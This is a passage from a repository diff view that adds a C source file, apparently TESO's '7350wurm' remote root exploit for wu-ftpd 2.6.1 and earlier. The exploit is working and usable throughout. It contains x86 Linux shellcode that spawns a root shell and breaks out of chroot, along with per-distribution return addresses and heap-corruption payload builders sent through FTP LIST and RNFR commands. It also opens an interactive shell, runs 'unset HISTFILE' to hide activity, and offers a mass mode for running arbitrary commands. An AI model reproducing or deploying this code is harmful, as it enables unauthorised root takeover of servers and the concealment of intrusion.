| 1424 | |||
| 1425 | return (tl_orig - target_len); | ||
| 1426 | } | ||
| 1427 | |||
| 1428 | |||
diff --git a/exploits/7350wurm/backup/7350wurm-backup2.c b/exploits/7350wurm/backup/7350wurm-backup2.c new file mode 100644 index 0000000..beed3f3 --- /dev/null +++ b/exploits/7350wurm/backup/7350wurm-backup2.c | |||
| @@ -0,0 +1,1034 @@ | |||
| 1 | /* 7350wurm - x86/linux wu-ftpd remote root exploit | ||
| 2 | * | ||
| 3 | * TESO CONFIDENTIAL - SOURCE MATERIALS | ||
| 4 | * | ||
| 5 | * This is unpublished proprietary source code of TESO Security. | ||
| 6 | * | ||
| 7 | * The contents of these coded instructions, statements and computer | ||
| 8 | * programs may not be disclosed to third parties, copied or duplicated in | ||
| 9 | * any form, in whole or in part, without the prior written permission of | ||
| 10 | * TESO Security. This includes especially the Bugtraq mailing list, the | ||
| 11 | * www.hack.co.za website and any public exploit archive. | ||
| 12 | * | ||
| 13 | * The distribution restrictions cover the entire file, including this | ||
| 14 | * header notice. (This means, you are not allowed to reproduce the header). | ||
| 15 | * | ||
| 16 | * (C) COPYRIGHT TESO Security, 2001 | ||
| 17 | * All Rights Reserved | ||
| 18 | * | ||
| 19 | ***************************************************************************** | ||
| 20 | * thanks to bnuts, tomas and dvorak for hints, discussions and ideas. | ||
| 21 | */ | ||
| 22 | |||
| 23 | #define VERSION "0.0.2" | ||
| 24 | |||
| 25 | #include <sys/types.h> | ||
| 26 | #include <sys/time.h> | ||
| 27 | #include <sys/socket.h> | ||
| 28 | #include <netinet/in.h> | ||
| 29 | #include <arpa/inet.h> | ||
| 30 | #include <arpa/telnet.h> | ||
| 31 | #include <netdb.h> | ||
| 32 | #include <errno.h> | ||
| 33 | #include <fcntl.h> | ||
| 34 | #include <unistd.h> | ||
| 35 | #include <stdio.h> | ||
| 36 | #include <stdlib.h> | ||
| 37 | #include <stdarg.h> | ||
| 38 | #include <string.h> | ||
| 39 | #include <time.h> | ||
| 40 | |||
| 41 | |||
| 42 | #define INIT_CMD "unset HISTFILE;id;uname -a;\n" | ||
| 43 | |||
| 44 | /* shellcodes | ||
| 45 | */ | ||
| 46 | unsigned char x86_lnx_loop[] = | ||
| 47 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | ||
| 48 | "\xeb\xfe"; | ||
| 49 | |||
| 50 | /* x86/linux write/read/exec code (41 bytes) | ||
| 51 | * does: 1. write (1, "AAA\n", 4); | ||
| 52 | * 2. read (0, ncode, 0xff); | ||
| 53 | * 3. jmp ncode | ||
| 54 | */ | ||
| 55 | unsigned char x86_wrx[] = | ||
| 56 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | ||
| 57 | "\x31\xdb\x43\xb8\x0b\x74\x51\x0b\x2d\x01\x01\x01" | ||
| 58 | "\x01\x50\x89\xe1\x6a\x04\x58\x89\xc2\xcd\x80\xeb" | ||
| 59 | "\x0e\x31\xdb\xf7\xe3\xfe\xca\x59\x6a\x03\x58\xcd" | ||
| 60 | "\x80\xeb\x05\xe8\xed\xff\xff\xff"; | ||
| 61 | |||
| 62 | |||
| 63 | unsigned char x86_lnx_execve[] = | ||
| 64 | /* 49 byte x86 linux PIC setreuid(0,0) + chroot-break | ||
| 65 | * code by lorian / teso | ||
| 66 | */ | ||
| 67 | "\x33\xdb\xf7\xe3\xb0\x46\x33\xc9\xcd\x80\x6a\x54" | ||
| 68 | "\x8b\xdc\xb0\x27\xb1\xed\xcd\x80\xb0\x3d\xcd\x80" | ||
| 69 | "\x52\xb1\x10\x68\xff\x2e\x2e\x2f\x44\xe2\xf8\x8b" | ||
| 70 | "\xdc\xb0\x3d\xcd\x80\x58\x6a\x54\x6a\x28\x58\xcd" | ||
| 71 | "\x80" | ||
| 72 | |||
| 73 | /* 38 byte x86/linux PIC argv -scut | ||
| 74 | */ | ||
| 75 | "\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07" | ||
| 76 | "\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b" | ||
| 77 | "\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff" | ||
| 78 | "\xff\xff"; | ||
| 79 | |||
| 80 | |||
| 81 | /* setreuid/chroot/execve | ||
| 82 | * lorian / teso */ | ||
| 83 | unsigned char x86_lnx_shell[] = | ||
| 84 | "\x33\xdb\xf7\xe3\xb0\x46\x33\xc9\xcd\x80\x6a\x54" | ||
| 85 | "\x8b\xdc\xb0\x27\xb1\xed\xcd\x80\xb0\x3d\xcd\x80" | ||
| 86 | "\x52\xb1\x10\x68\xff\x2e\x2e\x2f\x44\xe2\xf8\x8b" | ||
| 87 | "\xdc\xb0\x3d\xcd\x80\x58\x6a\x54\x6a\x28\x58\xcd" | ||
| 88 | "\x80" | ||
| 89 | "\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f" | ||
| 90 | "\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80"; | ||
| 91 | |||
| 92 | /* HOWTO get the offsets: | ||
| 93 | |||
| 94 | ... | ||
| 95 | |||
| 96 | 5. retloc | ||
| 97 | GOT of free | ||
| 98 | |||
| 99 | */ | ||
| 100 | |||
| 101 | typedef struct { | ||
| 102 | char * desc; /* distribution */ | ||
| 103 | char * banner; /* ftp banner part */ | ||
| 104 | unsigned char * shellcode; | ||
| 105 | unsigned int shellcode_len; | ||
| 106 | |||
| 107 | unsigned long int retloc; /* return address location */ | ||
| 108 | unsigned long int retaddr; /* return address */ | ||
| 109 | |||
| 110 | |||
| 111 | /* absolute address of big malloc buffer | ||
| 112 | */ | ||
| 113 | unsigned long int buf_addr; | ||
| 114 | /* bytes in first part of LIST parameter until where the | ||
| 115 | * free pointer is | ||
| 116 | */ | ||
| 117 | unsigned int chunk_start; | ||
| 118 | /* where we store our fakechunk, relative from buf_addr */ | ||
| 119 | |||
| 120 | /* rnfr_num = number of times to do rnfr | ||
| 121 | * rnfr_size = size of malloc on rnfr | ||
| 122 | */ | ||
| 123 | int rnfr_num; | ||
| 124 | int rnfr_size; | ||
| 125 | |||
| 126 | /* number of bytes to fill after ~{ to fill hole in memory and make | ||
| 127 | * globlist go in the right place | ||
| 128 | */ | ||
| 129 | int malloc_filler; | ||
| 130 | } tgt_type; | ||
| 131 | |||
| 132 | |||
| 133 | |||
| 134 | tgt_type targets[] = { | ||
| 135 | #if 0 | ||
| 136 | { "DEBUG: crash target", NULL, | ||
| 137 | x86_lnx_loop, sizeof (x86_lnx_loop) - 1, | ||
| 138 | 0x55555555, 0x66666666, 20, 0x73507350, 40 ,0}, | ||
| 139 | #endif | ||
| 140 | |||
| 141 | { "Debian sid [wu-ftpd_2.6.1-5_i386.deb]", | ||
| 142 | "Version wu-2.6.1(1) Sat Feb 24 01:43:53 GMT 2001", | ||
| 143 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 144 | 0x0806e7a0, 0x08093e50, | ||
| 145 | 0x08093d98, 0x2c, | ||
| 146 | 50, 8, | ||
| 147 | 0 }, | ||
| 148 | |||
| 149 | { "RedHat 6.1 (Cartman) [wu-ftpd-2.5.0-9.rpm]", | ||
| 150 | "Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999", | ||
| 151 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 152 | 0x55555555, 0x66666666, | ||
| 153 | 0x42424242, 0x2c, | ||
| 154 | 20, 8, | ||
| 155 | 400 }, | ||
| 156 | |||
| 157 | { "-sc RedHat 7.1 [wu-ftpd-2.6.1-16.rpm]", | ||
| 158 | "Version wu-2.6.1-16(1)", | ||
| 159 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 160 | 0x0807314c, 0x08097e10, /* retloc / retaddr */ | ||
| 161 | 0x42424242, 0x4, /* buf_addr, chunk_start */ | ||
| 162 | 200, 8, /* rnfr_num, rnfr_size */ | ||
| 163 | 200 }, /* malloc_filler */ | ||
| 164 | |||
| 165 | { "RedHat 7.1 [wu-ftpd-2.6.1-16.rpm]", | ||
| 166 | "Version wu-2.6.1-16(1)", | ||
| 167 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 168 | 0x0807314c, 0x08097e10, /* retloc / retaddr */ | ||
| 169 | 0x08090c04, 0x4, /* buf_addr, chunk_start */ | ||
| 170 | 20, 8, /* rnfr_num, rnfr_size */ | ||
| 171 | 200 }, /* malloc_filler */ | ||
| 172 | |||
| 173 | { NULL, NULL, 0, 0, 0, 0 }, | ||
| 174 | }; | ||
| 175 | |||
| 176 | |||
| 177 | /* FTP related stuff | ||
| 178 | */ | ||
| 179 | char * dest = "127.0.0.1"; /* can be changed with -d */ | ||
| 180 | char * username = "ftp"; /* can be changed with -u */ | ||
| 181 | char * password = "mozilla@"; /* can be changed with -p */ | ||
| 182 | |||
| 183 | char * ftp_banner = NULL; | ||
| 184 | |||
| 185 | int verbose = 0; | ||
| 186 | |||
| 187 | |||
| 188 | /* FTP prototypes | ||
| 189 | */ | ||
| 190 | void ftp_escape (unsigned char *buf, unsigned long int buflen); | ||
| 191 | void ftp_recv_until (int sock, char *buff, int len, char *begin); | ||
| 192 | int ftp_login (char *host, char *user, char *pass); | ||
| 193 | |||
| 194 | |||
| 195 | /* main prototypes | ||
| 196 | */ | ||
| 197 | void usage (char *progname); | ||
| 198 | unsigned char * xp_mallocfiller (tgt_type *tgt); | ||
| 199 | void xp_gapfill (tgt_type *tgt, int fd); | ||
| 200 | int xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len); | ||
| 201 | void xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen); | ||
| 202 | void shell (int sock); | ||
| 203 | void hexdump (char *desc, unsigned char *data, unsigned int amount); | ||
| 204 | |||
| 205 | |||
| 206 | /*** MASS mode stuff | ||
| 207 | */ | ||
| 208 | static int | ||
| 209 | sc_build_x86_lnx (unsigned char *target, size_t target_len, | ||
| 210 | unsigned char *shellcode, char **argv); | ||
| 211 | |||
| 212 | int mass = 0; /* enable with -m (kids, get hurt!) */ | ||
| 213 | unsigned int mlen = 0; | ||
| 214 | unsigned char mcode[256]; | ||
| 215 | |||
| 216 | |||
| 217 | /* imported from network.c | ||
| 218 | */ | ||
| 219 | #define NET_CONNTIMEOUT 60 | ||
| 220 | #define NET_READTIMEOUT 20 | ||
| 221 | int net_conntimeout = NET_CONNTIMEOUT; | ||
| 222 | |||
| 223 | unsigned long int net_resolve (char *host); | ||
| 224 | int net_connect (struct sockaddr_in *cs, char *server, | ||
| 225 | unsigned short int port, int sec); | ||
| 226 | void net_write (int fd, const char *str, ...); | ||
| 227 | int net_rtimeout (int fd, int sec); | ||
| 228 | int net_rlinet (int fd, char *buf, int bufsize, int sec); | ||
| 229 | |||
| 230 | |||
| 231 | void | ||
| 232 | usage (char *progname) | ||
| 233 | { | ||
| 234 | fprintf (stderr, "usage: %s [-v] [-t <num>] [-u <user>] " | ||
| 235 | "[-p <pass>] [-h host]\n\n", progname); | ||
| 236 | |||
| 237 | fprintf (stderr, "-h\tthis help\n" | ||
| 238 | "-v\tbe verbose (default: off)\n" | ||
| 239 | "-t num\tchoose target (0 for list)\n" | ||
| 240 | "-m\tenable mass mode (use with care)\n" | ||
| 241 | "-u user\tusername to login to FTP (default: \"ftp\")\n" | ||
| 242 | "-p pass\tpassword to use (default: \"mozilla@\")\n" | ||
| 243 | "-d dest\tIP address or fqhn to connect to " | ||
| 244 | "(default: 127.0.0.1)\n"); | ||
| 245 | fprintf (stderr, "\n"); | ||
| 246 | |||
| 247 | exit (EXIT_FAILURE); | ||
| 248 | } | ||
| 249 | |||
| 250 | |||
| 251 | int | ||
| 252 | main (int argc, char *argv[]) | ||
| 253 | { | ||
| 254 | char c; | ||
| 255 | char * progname; | ||
| 256 | int fd; | ||
| 257 | |||
| 258 | tgt_type * tgt; | ||
| 259 | int tgt_num = -1; | ||
| 260 | |||
| 261 | unsigned char xpbuf[512]; | ||
| 262 | |||
| 263 | char chunkbuf[64]; | ||
| 264 | |||
| 265 | |||
| 266 | fprintf (stderr, "7350wurm - x86/linux wuftpd <= 2.6.1 remote root\n" | ||
| 267 | "team teso (thx bnuts, tomas, dvorak).\n\n"); | ||
| 268 | |||
| 269 | progname = argv[0]; | ||
| 270 | if (argc < 2) | ||
| 271 | usage (progname); | ||
| 272 | |||
| 273 | |||
| 274 | while ((c = getopt (argc, argv, "hvmt:u:p:d:")) != EOF) { | ||
| 275 | switch (c) { | ||
| 276 | case 'h': | ||
| 277 | usage (progname); | ||
| 278 | break; | ||
| 279 | case 'v': | ||
| 280 | verbose = 1; | ||
| 281 | break; | ||
| 282 | case 'm': | ||
| 283 | mass = 1; | ||
| 284 | break; | ||
| 285 | case 't': | ||
| 286 | tgt_num = atoi (optarg); | ||
| 287 | break; | ||
| 288 | case 'u': | ||
| 289 | username = optarg; | ||
| 290 | break; | ||
| 291 | case 'p': | ||
| 292 | password = optarg; | ||
| 293 | break; | ||
| 294 | case 'd': | ||
| 295 | dest = optarg; | ||
| 296 | break; | ||
| 297 | default: | ||
| 298 | usage (progname); | ||
| 299 | break; | ||
| 300 | } | ||
| 301 | } | ||
| 302 | |||
| 303 | if (tgt_num == 0 || | ||
| 304 | tgt_num >= (sizeof (targets) / sizeof (tgt_type))) | ||
| 305 | { | ||
| 306 | if (tgt_num != 0) | ||
| 307 | printf ("WARNING: target out of list. giving list\n\n"); | ||
| 308 | |||
| 309 | printf ("num . description\n"); | ||
| 310 | printf ("----+-------------------------------------------------------\n"); | ||
| 311 | |||
| 312 | for ( ; targets[tgt_num].desc != NULL ; ++tgt_num) | ||
| 313 | printf ("%3d | %s\n", tgt_num + 1, | ||
| 314 | targets[tgt_num].desc); | ||
| 315 | |||
| 316 | printf (" '\n"); | ||
| 317 | |||
| 318 | exit (EXIT_SUCCESS); | ||
| 319 | } | ||
| 320 | tgt = &targets[tgt_num - 1]; | ||
| 321 | |||
| 322 | |||
| 323 | if (mass == 1) { | ||
| 324 | if ((argc - optind) == 0) | ||
| 325 | usage (progname); | ||
| 326 | |||
| 327 | mlen = sc_build_x86_lnx (mcode, sizeof (mcode), | ||
| 328 | x86_lnx_execve, &argv[optind]); | ||
| 329 | |||
| 330 | if (mlen >= 0xff) { | ||
| 331 | fprintf (stderr, "created argv-code too long " | ||
| 332 | "(%d bytes)\n", mlen); | ||
| 333 | |||
| 334 | exit (EXIT_FAILURE); | ||
| 335 | } | ||
| 336 | |||
| 337 | fprintf (stderr, "# created %d byte execve shellcode\n", mlen); | ||
| 338 | } | ||
| 339 | |||
| 340 | |||
| 341 | printf ("# trying to log into %s with (%s/%s)\n", dest, | ||
| 342 | username, password); | ||
| 343 | |||
| 344 | fd = ftp_login (dest, username, password); | ||
| 345 | if (fd <= 0) { | ||
| 346 | fprintf (stderr, "failed to connect (user/pass correct?)\n"); | ||
| 347 | exit (EXIT_FAILURE); | ||
| 348 | } | ||
| 349 | printf ("# connected.\n"); | ||
| 350 | |||
| 351 | getchar (); | ||
| 352 | |||
| 353 | printf ("# banner: %s\n", (ftp_banner == NULL) ? "???" : | ||
| 354 | ftp_banner); | ||
| 355 | |||
| 356 | |||
| 357 | /* real stuff starts from here | ||
| 358 | */ | ||
| 359 | printf ("# 1. filling memory gaps\n"); | ||
| 360 | xp_gapfill (tgt, fd); | ||
| 361 | |||
| 362 | |||
| 363 | /* build preparation buffer and send it with LIST | ||
| 364 | */ | ||
| 365 | printf ("# 2. sending first bait to force globlist[1] = ourval\n"); | ||
| 366 | xp_build (tgt, xpbuf, 500 - strlen ("LIST ")); | ||
| 367 | if (verbose) | ||
| 368 | hexdump ("xpbuf", xpbuf, strlen (xpbuf)); | ||
| 369 | ftp_escape (xpbuf, sizeof (xpbuf)); | ||
| 370 | net_write (fd, "LIST %s\n", xpbuf); | ||
| 371 | ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "550 "); | ||
| 372 | |||
| 373 | |||
| 374 | /* now send the real trigger, consisting of an alignment | ||
| 375 | * (malloc_filler) and the fake chunk buffer (chunkbuf) | ||
| 376 | */ | ||
| 377 | printf ("# 3. triggering free(globlist[1])\n"); | ||
| 378 | |||
| 379 | memset (chunkbuf, 0, sizeof(chunkbuf)); | ||
| 380 | xp_buildchunk (tgt, chunkbuf + 8, 0); | ||
| 381 | ftp_escape (chunkbuf, sizeof (chunkbuf)); | ||
| 382 | |||
| 383 | net_write (fd, "LIST ~{AA%s%s\n", chunkbuf, xp_mallocfiller (tgt)); | ||
| 384 | |||
| 385 | ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "sP"); | ||
| 386 | if (strncmp (xpbuf, "sP", 2) != 0) { | ||
| 387 | fprintf (stderr, "exploitation FAILED !\noutput:\n%s\n", | ||
| 388 | xpbuf); | ||
| 389 | |||
| 390 | exit (EXIT_FAILURE); | ||
| 391 | } | ||
| 392 | |||
| 393 | printf ("# exploitation succeeded. sending real shellcode\n"); | ||
| 394 | |||
| 395 | if (mass == 1) { | ||
| 396 | printf ("# mass mode, sending constructed argv code\n"); | ||
| 397 | |||
| 398 | net_write (fd, "%s\n", mcode); | ||
| 399 | |||
| 400 | printf ("# send. sleeping 10 seconds\n"); | ||
| 401 | sleep (10); | ||
| 402 | |||
| 403 | printf ("# success.\n"); | ||
| 404 | |||
| 405 | exit (EXIT_SUCCESS); | ||
| 406 | } | ||
| 407 | |||
| 408 | printf ("# sending setreuid/chroot/execve shellcode\n"); | ||
| 409 | net_write (fd, "%s", x86_lnx_shell); | ||
| 410 | |||
| 411 | printf ("# spawning shell\n\n"); | ||
| 412 | |||
| 413 | write (fd, INIT_CMD, strlen (INIT_CMD)); | ||
| 414 | shell (fd); | ||
| 415 | |||
| 416 | exit (EXIT_SUCCESS); | ||
| 417 | } | ||
| 418 | |||
| 419 | |||
| 420 | /* xp_mallocfiller | ||
| 421 | * | ||
| 422 | * create an alignment buffer for final exploitation | ||
| 423 | * | ||
| 424 | * return pointer to ASCIIZ string | ||
| 425 | */ | ||
| 426 | |||
| 427 | unsigned char * | ||
| 428 | xp_mallocfiller (tgt_type *tgt) | ||
| 429 | { | ||
| 430 | static unsigned char fillbuf[512]; | ||
| 431 | |||
| 432 | |||
| 433 | memset (fillbuf, '\0', sizeof (fillbuf)); | ||
| 434 | if (tgt->malloc_filler > 502) { | ||
| 435 | fprintf (stderr, "malloc_filler too large: %d (max: 502)\n", | ||
| 436 | tgt->malloc_filler); | ||
| 437 | |||
| 438 | exit (EXIT_FAILURE); | ||
| 439 | } | ||
| 440 | |||
| 441 | memset (fillbuf, 'A', tgt->malloc_filler); | ||
| 442 | |||
| 443 | return (fillbuf); | ||
| 444 | } | ||
| 445 | |||
| 446 | |||
| 447 | /* xp_gapfill | ||
| 448 | * | ||
| 449 | * fill all small memory gaps in wuftpd malloc space. do this by sending | ||
| 450 | * rnfr requests which cause a memleak in wuftpd. | ||
| 451 | * | ||
| 452 | * return in any case | ||
| 453 | */ | ||
| 454 | |||
| 455 | void | ||
| 456 | xp_gapfill (tgt_type *tgt, int fd) | ||
| 457 | { | ||
| 458 | int n; | ||
| 459 | int rnfr_num, /* number of requests */ | ||
| 460 | rnfr_size; /* size of each request */ | ||
| 461 | unsigned char * rb; /* rnfr buffer */ | ||
| 462 | unsigned char * rbw; /* rnfr buffer walker */ | ||
| 463 | unsigned char rcv_buf[512]; /* temporary receive buffer */ | ||
| 464 | |||
| 465 | |||
| 466 | rnfr_num = tgt->rnfr_num; | ||
| 467 | rnfr_size = tgt->rnfr_size; | ||
| 468 | |||
| 469 | if (rnfr_size > 504) { | ||
| 470 | fprintf (stderr, "rnfr_size: %d too big, max: %d\n", | ||
| 471 | rnfr_size, 504); | ||
| 472 | |||
| 473 | exit (EXIT_FAILURE); | ||
| 474 | } | ||
| 475 | |||
| 476 | rbw = rb = calloc (1, rnfr_size + 6); | ||
| 477 | strcpy (rbw, "RNFR "); | ||
| 478 | rbw += strlen (rbw); | ||
| 479 | |||
| 480 | /* append a string of "././././". since wuftpd only checks whether | ||
| 481 | * the pathname is lstat'able, it will go through without any problems | ||
| 482 | */ | ||
| 483 | for (n = 0 ; n < rnfr_size ; ++n) | ||
| 484 | strcat (rbw, ((n % 2) == 0) ? "." : "/"); | ||
| 485 | strcat (rbw, "\n"); | ||
| 486 | |||
| 487 | for (n = 0 ; n < rnfr_num; ++n) { | ||
| 488 | net_write (fd, "%s", rb); | ||
| 489 | ftp_recv_until (fd, rcv_buf, sizeof (rcv_buf), "350 "); | ||
| 490 | } | ||
| 491 | free (rb); | ||
| 492 | |||
| 493 | return; | ||
| 494 | } | ||
| 495 | |||
| 496 | |||
| 497 | #define ADDR_STORE(ptr,addr){\ | ||
| 498 | ((unsigned char *) (ptr))[0] = (addr) & 0xff;\ | ||
| 499 | ((unsigned char *) (ptr))[1] = ((addr) >> 8) & 0xff;\ | ||
| 500 | ((unsigned char *) (ptr))[2] = ((addr) >> 16) & 0xff;\ | ||
| 501 | ((unsigned char *) (ptr))[3] = ((addr) >> 24) & 0xff;\ | ||
| 502 | } | ||
| 503 | |||
| 504 | /* LIST <buf>, buf being buf_len bytes long | ||
| 505 | * method by bnuts, thanks! (now you have one friend at least ;) | ||
| 506 | */ | ||
| 507 | |||
| 508 | int | ||
| 509 | xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len) | ||
| 510 | { | ||
| 511 | int n; | ||
| 512 | unsigned char * wl = buf; /* walker */ | ||
| 513 | |||
| 514 | memset (buf, '\0', buf_len); | ||
| 515 | |||
| 516 | memset (wl, 'I', buf_len - 16 - strlen ("~{}{}") - 1); | ||
| 517 | wl[0] = '~'; | ||
| 518 | wl[1] = '{'; | ||
| 519 | wl[2] = '7'; | ||
| 520 | wl[3] = '/'; /* gimme a 550 "unknown user" ! */ | ||
| 521 | |||
| 522 | wl += 4; | ||
| 523 | |||
| 524 | |||
| 525 | /* fill in the entire buffer with jump aheads | ||
| 526 | */ | ||
| 527 | for (n = 0 ; n < ((&buf[buf_len] - wl) - 3) ; n += 2) { | ||
| 528 | wl[n] = '\xeb'; | ||
| 529 | wl[n + 1] = '\x0c'; | ||
| 530 | } | ||
| 531 | |||
| 532 | /* put our fake chunk's address at where globlist[1] will be | ||
| 533 | */ | ||
| 534 | ADDR_STORE (wl - 4 + tgt->chunk_start, tgt->buf_addr); | ||
| 535 | |||
| 536 | /* put shellcode at the end of the buffer | ||
| 537 | */ | ||
| 538 | memcpy (&buf[buf_len] - tgt->shellcode_len - 3, | ||
| 539 | tgt->shellcode, tgt->shellcode_len); | ||
| 540 | |||
| 541 | wl += strlen (wl); | ||
| 542 | wl[0] = '}'; | ||
| 543 | |||
| 544 | |||
| 545 | return (wl - buf); | ||
| 546 | } | ||
| 547 | |||
| 548 | |||
| 549 | /* xp_buildchunk | ||
| 550 | * | ||
| 551 | * build the fake malloc chunk that will overwrite retloc with retaddr | ||
| 552 | */ | ||
| 553 | |||
| 554 | void | ||
| 555 | xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen) | ||
| 556 | { | ||
| 557 | fprintf (stderr, "building chunk: ([0x%08lx] = 0x%08lx) in %d bytes\n", | ||
| 558 | tgt->retloc, tgt->retaddr, clen); | ||
| 559 | |||
| 560 | /* easy, straight forward technique | ||
| 561 | */ | ||
| 562 | ADDR_STORE (&cspace[-8], 0xfffffff8); /* prev_size */ | ||
| 563 | ADDR_STORE (&cspace[-4], 0xfffffffc); /* prev_size */ | ||
| 564 | ADDR_STORE (&cspace[0], 0xfffffff0); /* prev_size */ | ||
| 565 | ADDR_STORE (&cspace[4], 0xfffffff4); /* this_size */ | ||
| 566 | ADDR_STORE (&cspace[8], tgt->retloc - 12); /* fd */ | ||
| 567 | ADDR_STORE (&cspace[12], tgt->retaddr); /* bk */ | ||
| 568 | |||
| 569 | return; | ||
| 570 | } | ||
| 571 | |||
| 572 | |||
| 573 | |||
| 574 | void | ||
| 575 | shell (int sock) | ||
| 576 | { | ||
| 577 | int l; | ||
| 578 | char buf[512]; | ||
| 579 | fd_set rfds; | ||
| 580 | |||
| 581 | |||
| 582 | while (1) { | ||
| 583 | FD_SET (0, &rfds); | ||
| 584 | FD_SET (sock, &rfds); | ||
| 585 | |||
| 586 | select (sock + 1, &rfds, NULL, NULL, NULL); | ||
| 587 | if (FD_ISSET (0, &rfds)) { | ||
| 588 | l = read (0, buf, sizeof (buf)); | ||
| 589 | if (l <= 0) { | ||
| 590 | perror ("read user"); | ||
| 591 | exit (EXIT_FAILURE); | ||
| 592 | } | ||
| 593 | write (sock, buf, l); | ||
| 594 | } | ||
| 595 | |||
| 596 | if (FD_ISSET (sock, &rfds)) { | ||
| 597 | l = read (sock, buf, sizeof (buf)); | ||
| 598 | if (l == 0) { | ||
| 599 | printf ("connection closed by foreign host.\n"); | ||
| 600 | exit (EXIT_FAILURE); | ||
| 601 | } else if (l < 0) { | ||
| 602 | perror ("read remote"); | ||
| 603 | exit (EXIT_FAILURE); | ||
| 604 | } | ||
| 605 | write (1, buf, l); | ||
| 606 | } | ||
| 607 | } | ||
| 608 | } | ||
| 609 | |||
| 610 | |||
| 611 | /*** FTP functions | ||
| 612 | */ | ||
| 613 | |||
| 614 | /* FTP is TELNET is SHIT. | ||
| 615 | */ | ||
| 616 | |||
| 617 | void | ||
| 618 | ftp_escape (unsigned char *buf, unsigned long int buflen) | ||
| 619 | { | ||
| 620 | unsigned char * obuf = buf; | ||
| 621 | |||
| 622 | |||
| 623 | for ( ; *buf != '\0' ; ++buf) { | ||
| 624 | if (*buf == 0xff && | ||
| 625 | (((buf - obuf) + strlen (buf) + 1) < buflen)) | ||
| 626 | { | ||
| 627 | memmove (buf + 1, buf, strlen (buf) + 1); | ||
| 628 | buf += 1; | ||
| 629 | } | ||
| 630 | } | ||
| 631 | } | ||
| 632 | |||
| 633 | |||
| 634 | void | ||
| 635 | ftp_recv_until (int sock, char *buff, int len, char *begin) | ||
| 636 | { | ||
| 637 | char dbuff[2048]; | ||
| 638 | |||
| 639 | |||
| 640 | if (buff == NULL) { | ||
| 641 | buff = dbuff; | ||
| 642 | len = sizeof (dbuff); | ||
| 643 | } | ||
| 644 | |||
| 645 | do { | ||
| 646 | memset (buff, '\x00', len); | ||
| 647 | if (net_rlinet (sock, buff, len - 1, 20) <= 0) | ||
| 648 | return; | ||
| 649 | } while (memcmp (buff, begin, strlen (begin)) != 0); | ||
| 650 | |||
| 651 | return; | ||
| 652 | } | ||
| 653 | |||
| 654 | |||
| 655 | int | ||
| 656 | ftp_login (char *host, char *user, char *pass) | ||
| 657 | { | ||
| 658 | int ftpsock; | ||
| 659 | char resp[512]; | ||
| 660 | |||
| 661 | |||
| 662 | ftpsock = net_connect (NULL, host, 21, 30); | ||
| 663 | if (ftpsock <= 0) | ||
| 664 | return (0); | ||
| 665 | |||
| 666 | memset (resp, '\x00', sizeof (resp)); | ||
| 667 | if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0) | ||
| 668 | goto flerr; | ||
| 669 | |||
| 670 | /* handle multiline pre-login stuff (rfc violation !) | ||
| 671 | */ | ||
| 672 | if (memcmp (resp, "220-", 4) == 0) | ||
| 673 | ftp_recv_until (ftpsock, resp, sizeof (resp), "220 "); | ||
| 674 | |||
| 675 | if (memcmp (resp, "220 ", 4) != 0) { | ||
| 676 | if (verbose) | ||
| 677 | printf ("\n%s\n", resp); | ||
| 678 | goto flerr; | ||
| 679 | } | ||
| 680 | ftp_banner = strdup (resp); | ||
| 681 | |||
| 682 | net_write (ftpsock, "USER %s\n", user); | ||
| 683 | memset (resp, '\x00', sizeof (resp)); | ||
| 684 | if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0) | ||
| 685 | goto flerr; | ||
| 686 | |||
| 687 | if (memcmp (resp, "331 ", 4) != 0) { | ||
| 688 | if (verbose) | ||
| 689 | printf ("\n%s\n", resp); | ||
| 690 | goto flerr; | ||
| 691 | } | ||
| 692 | |||
| 693 | net_write (ftpsock, "PASS %s\n", pass); | ||
| 694 | memset (resp, '\x00', sizeof (resp)); | ||
| 695 | if (net_rlinet (ftpsock, resp, sizeof (resp) - 1, 20) <= 0) | ||
| 696 | goto flerr; | ||
| 697 | |||
| 698 | |||
| 699 | /* handle multiline responses from ftp servers | ||
| 700 | */ | ||
| 701 | if (memcmp (resp, "230-", 4) == 0) | ||
| 702 | ftp_recv_until (ftpsock, resp, sizeof (resp), "230 "); | ||
| 703 | |||
| 704 | if (memcmp (resp, "230 ", 4) != 0) { | ||
| 705 | if (verbose) | ||
| 706 | printf ("\n%s\n", resp); | ||
| 707 | goto flerr; | ||
| 708 | } | ||
| 709 | |||
| 710 | return (ftpsock); | ||
| 711 | |||
| 712 | flerr: | ||
| 713 | if (ftpsock > 0) | ||
| 714 | close (ftpsock); | ||
| 715 | |||
| 716 | return (0); | ||
| 717 | } | ||
| 718 | |||
| 719 | |||
| 720 | /* ripped from zodiac */ | ||
| 721 | void | ||
| 722 | hexdump (char *desc, unsigned char *data, unsigned int amount) | ||
| 723 | { | ||
| 724 | unsigned int dp, p; /* data pointer */ | ||
| 725 | const char trans[] = | ||
| 726 | "................................ !\"#$%&'()*+,-./0123456789" | ||
| 727 | ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" | ||
| 728 | "nopqrstuvwxyz{|}~...................................." | ||
| 729 | "....................................................." | ||
| 730 | "........................................"; | ||
| 731 | |||
| 732 | |||
| 733 | printf ("/* %s, %u bytes */\n", desc, amount); | ||
| 734 | |||
| 735 | for (dp = 1; dp <= amount; dp++) { | ||
| 736 | fprintf (stderr, "%02x ", data[dp-1]); | ||
